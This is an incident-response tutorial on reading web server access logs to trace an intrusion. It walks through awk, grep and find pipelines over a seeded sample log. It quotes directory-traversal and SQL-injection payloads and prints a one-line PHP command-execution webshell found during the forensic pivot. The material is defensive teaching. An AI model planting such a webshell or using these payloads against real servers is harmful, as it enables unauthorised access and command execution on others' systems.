Web Server Log Analysis: Reconstructing Attacker Requests
- Find where Apache and Nginx access logs live and read a Combined Log Format line field by field
- Recognise the signatures of path traversal, SQLi probes, scanner tooling, and a 404-recon-then-200 webshell hit
- Run the awk + sort + uniq frequency workflow to surface the top clients and isolate one suspect IP
- Reconstruct a single attacker's request timeline and pivot from a log line to the planted file on disk
Why read the access log at all
Frame the access log as a complete, attacker-independent record of every HTTP request.
When a web application is attacked, the application code rarely keeps a record of who did what. But sitting in front of it, the web server writes one line for every single HTTP request it answers — successful or not, benign or malicious. That file is your access log, and it is the closest thing to a complete recording of the incident you will ever get.
Picture a busy shop fitted with CCTV plus a door-counter. The CCTV shows every visitor and exactly what they reached for on the shelves; the door-counter tallies how many came and went. The access log is both at once: every request is a visitor, the requested path is the shelf they reached for, and the status code is whether they walked out with it. An attacker probing your site has to walk through that door like everyone else — and the camera does not stop recording just because the visitor is a thief.
Where the logs live and how a line is built
Locate the access log on Apache and Nginx, and decode one Combined Log Format line field by field.
First, know where to look. The default access log path depends on the server and the distribution:
- Apache on Debian/Ubuntu:
/var/log/apache2/access.log - Apache on RHEL/CentOS:
/var/log/httpd/access_log - Nginx (most distributions):
/var/log/nginx/access.log
Virtual hosts often write their own files (for example
/var/log/nginx/shop.example.com.access.log), so when in doubt check the server config (apache2ctl -S, or theaccess_logdirective in the Nginx site file) for the exact path.Almost every server writes the Combined Log Format by default. It looks like a wall of text, but it is a fixed sequence of fields. Read this one line slowly:
`198.51.100.23 - alice [23/Jun/2026:10:14:07 +0000] "GET /account/profile HTTP/1.1" 200 4011 "https://shop.example.com/login" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
`Field by field:
- `198.51.100.23` — the client IP (who made the request).
- `-` — the RFC 1413 ident; virtually always
-(unused) on the modern web. - `alice` — the authenticated user (from HTTP auth), or
-if anonymous. - `[23/Jun/2026:10:14:07 +0000]` — the timestamp, with the server's UTC offset.
- `"GET /account/profile HTTP/1.1"` — the request line: method, the path they reached for, and protocol.
- `200` — the status code the server returned.
- `4011` — bytes sent in the response body.
- `"https://shop.example.com/login"` — the referer: the page they came from.
- `"Mozilla/5.0 ..."` — the user-agent: the client software (browser, bot, or tool) that announced itself.
Check yourself
In a Combined Log Format line, which field holds the requested path (the URL the client reached for)?
- Apache on Debian/Ubuntu:
What an attack looks like in the log
Learn the request and status-code signatures of traversal, SQLi, scanners, and a webshell.
Attacks leave shapes you learn to recognise on sight. They show up in two places: the path (
$7) and the status code ($9).In the path — the payload itself:
- Directory traversal: a path climbing out of the web root toward sensitive files, like
/download?file=../../../../etc/passwd. Attackers often URL-encode the dots and slashes to slip past naive filters:%2e%2e%2fis../, so%2e%2e%2f%2e%2e%2fetc/passwdis the same attack in disguise. - SQL injection probes: quote-and-logic fragments injected into a parameter, like
?id=1'or?id=1 OR 1=1, escalating toUNION SELECT username,password FROM users.
In the user-agent — the tooling:
- Automated tools frequently announce themselves: a user-agent of `sqlmap/1.8` or `Nikto/2.5` is a scanner, not a browser. (A careful attacker spoofs this — see the mistake callout — but many don't bother.)
In the status codes — the story of success and failure:
- A burst of 404s from one IP, hitting
/admin,/backup.zip,/wp-login.php,/.git/configin seconds, is content discovery — the attacker brute-forcing for files that exist. - A run of 401/403 responses is access being denied — probing for something they're not allowed into.
- Then the line that matters: a sudden 200 on an odd path the scan just found — especially an unusual
.phpunder an uploads directory — or a 500 where a malformed payload crashed the app. That status flip from failure to success is the moment the attacker got somewhere.
Check yourself
One IP generates a rapid burst of 404 responses across many different paths, then a single 200 on an unusual /uploads/x.php. What does that pattern most likely indicate?
- Directory traversal: a path climbing out of the web root toward sensitive files, like
The frequency workflow: who is hitting us hardest
Rank clients by request volume with the awk + sort + uniq idiom to surface a suspect.
Faced with a log of tens of thousands of lines, you don't read top to bottom — you summarise, then drill in. The single most useful move is ranking clients by how many requests each made. A normal visitor makes a handful of requests; a scanner makes hundreds in a minute. Volume alone often points straight at the suspect.
This is the filter → extract → count → rank pipeline. Here we skip the filter and extract the client IP (
$1) from every line:Runnable in the det-web-recon room — that room’s setup plants the files it reads
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head1843 203.0.113.77 47 198.51.100.23 31 198.51.100.40 12 198.51.100.51 9 198.51.100.9- awk '{print $1}'
- Print only field 1 — the client IP — from every log line.
- sort
- Sort the IPs so identical ones become adjacent (uniq needs sorted input).
- uniq -c
- Collapse adjacent duplicates and prefix each with its count.
- sort -rn
- Sort by that count, numerically (-n) and reversed (-r) — highest first.
- head
- Show only the top of the ranking — the heaviest hitters.
The numbers tell the story instantly. `203.0.113.77` made 1,843 requests — roughly forty times more than the busiest legitimate visitor ( 198.51.100.23at 47). That lopsided volume is the fingerprint of automation, not a human browsing.203.0.113.77is now your prime suspect; every later step interrogates that one IP.Isolate the suspect and reconstruct their requests
Filter the log to one IP and read its request timeline to find the attack.
With a suspect IP in hand, you pull every line that IP generated and read its activity in order. This is the reconstruction: what did
203.0.113.77reach for, and what did the server give back? Start by isolating its traffic.Runnable in the det-web-recon room — that room’s setup plants the files it reads
grep '203.0.113.77' /var/log/nginx/access.log | awk '{print $9, $7}' | sort | uniq -c | sort -rn | head1502 404 /wp-login.php 298 404 /admin/ 31 404 /.git/config 6 404 /backup.zip 1 200 /uploads/x.php 1 200 /download?file=../../../../etc/passwd- grep '203.0.113.77'
- Keep only lines from the suspect IP.
- awk '{print $9, $7}'
- Extract the status code ($9) and the requested path ($7) from each of those lines.
- sort | uniq -c | sort -rn
- Count and rank the status+path pairs so the pattern jumps out.
The shape of the attack is now unmistakable. Over 1,800 of the suspect's requests are 404s across /wp-login.php,/admin/,/.git/config,/backup.zip— a content-discovery sweep, all failures. Buried among them are exactly two 200s: a successful traversal pulling/etc/passwd, and a hit on/uploads/x.php— a path that has no business existing. The 404 wall was the search; those two 200s are what the search found.Runnable in the det-web-recon room — that room’s setup plants the files it reads
grep '203.0.113.77' /var/log/nginx/access.log | grep -E '\.\./|%2e%2e|passwd|x\.php'203.0.113.77 - - [23/Jun/2026:11:02:58 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 1422 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:09:14 +0000] "POST /upload.php HTTP/1.1" 200 41 "-" "python-requests/2.31" 203.0.113.77 - - [23/Jun/2026:11:09:31 +0000] "GET /uploads/x.php?cmd=id HTTP/1.1" 200 88 "-" "curl/8.4.0"
- grep -E
- Extended regex, so the alternation (|) works without backslashes.
- \.\./
- Literal ../ — the un-encoded directory-traversal marker (dots and slash escaped for the regex).
- %2e%2e
- Catch the URL-encoded form of .. that a naive filter would miss.
- passwd|x\.php
- Also surface the target file and the suspicious uploaded script by name.
Now the full timeline reads like a confession. At 11:02:58 the attacker (announcing sqlmap) successfully read/etc/passwdvia traversal. At 11:09:14 they sent a `POST` to `/upload.php` — the planting of the file. Seventeen seconds later, at 11:09:31, they fetched `/uploads/x.php?cmd=id` and got a 200: they are now running commands through the webshell. The?cmd=idparameter is the attacker asking the shell to runidand confirm it works.Pivot from the log to the artifact on disk
Turn the logged webshell request into the actual planted file for confirmation and removal.
The log told you a file named
x.phpwas uploaded and then executed. Log evidence points at the world; now you confirm it on disk. The request wasGET /uploads/x.php, so the file lives under the site's document root in theuploads/directory. Find it, read it, and you close the loop from request to artifact.Example — not runnable on your lab box
find /var/www -name 'x.php' -printf '%TY-%Tm-%Td %TH:%TM %p\n'2026-06-23 11:09 /var/www/shop/uploads/x.php
- find /var/www
- Search the web document-root tree where the uploaded file should land.
- -name 'x.php'
- Match the exact filename the log showed being requested.
- -printf '%TY-%Tm-%Td %TH:%TM %p'
- Print the file's modification time and path — to cross-check against the log timestamp.
The file exists, and its modification time is 11:09 — matching the POST /upload.phpminute from the log to the minute. The on-disk artifact and the logged request corroborate each other: this is not a false positive.Example — not runnable on your lab box
cat /var/www/shop/uploads/x.php<?php system($_GET['cmd']); ?>
One line, and it is a textbook command-execution webshell: it takes the cmdURL parameter and runs it on the server viasystem(). This is exactly what the loggedGET /uploads/x.php?cmd=idwas exploiting. You now have the full chain — recon (the 404 burst), the upload (POST /upload.php), and the live shell (x.php) — and the file to preserve as evidence and remove. Copy it to your evidence store before deleting it from the web root.Try it in your live terminal
Run the real analysis pipelines against a seeded sample log on the sandbox.
This box may not have a real web server, so first seed a realistic sample access log to
/tmp/access.logwith the command below — a few benign visitors plus the attacker203.0.113.77doing a 404 recon burst, a traversal, an upload, and a webshell hit. Then run the genuine analysis pipelines against it. Everything here is the exact workflow you'd use on a production log.cat > /tmp/access.log <<'EOF' 198.51.100.23 - - [23/Jun/2026:10:14:07 +0000] "GET /index.html HTTP/1.1" 200 5310 "-" "Mozilla/5.0" 198.51.100.23 - alice [23/Jun/2026:10:14:09 +0000] "GET /account/profile HTTP/1.1" 200 4011 "https://shop.example.com/login" "Mozilla/5.0" 198.51.100.40 - - [23/Jun/2026:10:31:55 +0000] "GET /products/12 HTTP/1.1" 200 2298 "-" "Mozilla/5.0" 203.0.113.77 - - [23/Jun/2026:11:01:10 +0000] "GET /wp-login.php HTTP/1.1" 404 412 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:01:11 +0000] "GET /admin/ HTTP/1.1" 404 412 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:01:11 +0000] "GET /.git/config HTTP/1.1" 404 412 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:01:12 +0000] "GET /backup.zip HTTP/1.1" 404 412 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:02:58 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 1422 "-" "sqlmap/1.8#stable" 203.0.113.77 - - [23/Jun/2026:11:09:14 +0000] "POST /upload.php HTTP/1.1" 200 41 "-" "python-requests/2.31" 203.0.113.77 - - [23/Jun/2026:11:09:31 +0000] "GET /uploads/x.php?cmd=id HTTP/1.1" 200 88 "-" "curl/8.4.0" 198.51.100.51 - - [23/Jun/2026:11:40:02 +0000] "GET /contact HTTP/1.1" 200 1820 "-" "Mozilla/5.0" EOFA here-doc ( <<'EOF') writes the block verbatim to/tmp/access.log. The quotes around'EOF'stop the shell from expanding anything inside, so the log lines land exactly as written. You now have a self-contained sample to analyse.awk '{print $1}' /tmp/access.log | sort | uniq -c | sort -rnRank clients by request count. 203.0.113.77rises to the top with six requests against one or two each for the legitimate IPs — the volume fingerprint that nominates your suspect.grep 203.0.113.77 /tmp/access.log | awk '{print $9, $7}'Pull the suspect's status codes and paths in order: a run of 404s on /wp-login.php, /admin/, /.git/config, /backup.zip, then the two telling 200s on the traversal and /uploads/x.php. The recon-then-success story, laid bare. grep -E '\.\./|passwd|x\.php' /tmp/access.logSurface just the malicious requests: the directory-traversal hit on /etc/passwd and the webshell access. This is the filter you'd run first on a real log when you already suspect traversal or a planted .php — and the lines it returns are your timeline of the breach.
- The access log is the web server's own complete record of every request — written before the app the attacker tampers with, so it reconstructs intrusions the application has no memory of.
- Read a Combined Log Format line by field: $1 client IP, $4 timestamp, $7 path, $9 status. Those four answer who, when, what they reached for, and whether they got it.
- Attacks have signatures: ../ or %2e%2e traversal and ' OR 1=1 / UNION SELECT in the path, scanner user-agents, and a 404 recon burst that flips to a single 200 on an odd .php — the webshell.
- Triage by summarising then drilling in: awk '{print $1}' | sort | uniq -c | sort -rn ranks clients; grep the suspect IP to reconstruct its timeline; then pivot from the logged request to the planted file on disk to confirm.
- Trust what the server observed (connecting IP, path, status) over anything the client chose (user-agent, X-Forwarded-For), and align timezones before correlating across systems.
| Signal in the log | What it indicates |
|---|---|
| One IP with vastly more requests than any other | Automation / scanner — your first suspect |
../ or %2e%2e%2f in the path | Directory traversal toward files outside the web root |
' OR 1=1, UNION SELECT in a parameter | SQL injection probe |
User-agent of sqlmap / Nikto | Scanner tooling (but spoofable — corroborate, don't rely) |
| A burst of 404s across many paths from one IP | Content discovery — brute-forcing for files that exist |
404 burst then a single 200 on an unusual .php | Webshell located and accessed |
POST to an upload path, then a 200 on a new script | File upload of a webshell, followed by execution |
| A logged path matching a real file with the same mtime | Confirmed artifact — request had an effect on disk |
